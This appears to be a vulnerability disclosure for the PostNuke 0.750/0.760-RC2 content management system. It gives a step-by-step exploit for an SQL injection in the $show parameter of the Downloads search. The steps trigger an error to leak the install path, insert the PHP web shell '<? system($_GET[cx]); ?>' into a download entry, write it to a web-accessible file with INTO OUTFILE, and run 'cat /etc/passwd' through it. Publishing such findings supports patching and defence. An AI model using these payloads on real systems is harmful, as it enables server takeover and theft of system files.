PostNuke: The Phoenix Release (0.750) and (0.760-RC2)

PostNuke is an open source, open developement content management system
(CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and
provides many enhancements and improvements over the PHP-Nuke system. PostNuke
is still undergoing development but a large number of core functions are now
stabilising and a complete API for third-party developers is now in place.
If you would like to help develop this software, please visit our homepage

Error exist in varible $show.

Go to this url to view error:

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3

Error message :
- ---------------
Fatal error: Call to a member function PO_RecordCount() on a non-object in /www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line 74
- ---------------

Because this sql injection is after ORDER BY.. we can not use UNION etc. But check this exploit.

Exploit 
Check dir for PostNuke. 

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3

Error message :
- ---------------
Fatal error: Call to a member function PO_RecordCount() on a non-object in /www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line 74
- ---------------

For exemple prefix is /www/PostNuke-0.760-RC2/html/. 

Now add new download and insert to "Description" or "Home page" php code. For example add:

- ---
<? system($_GET[cx]); ?>
- ---

And when this download exist in db, go to:


http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=[Program name]&show=10%20INTO%20OUTFILE%20'/[PATH]/pnTemp/Xanthia_cache/cXIb8O3.php'/*

and now for example..

http://[HOST]/[DIR]/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd
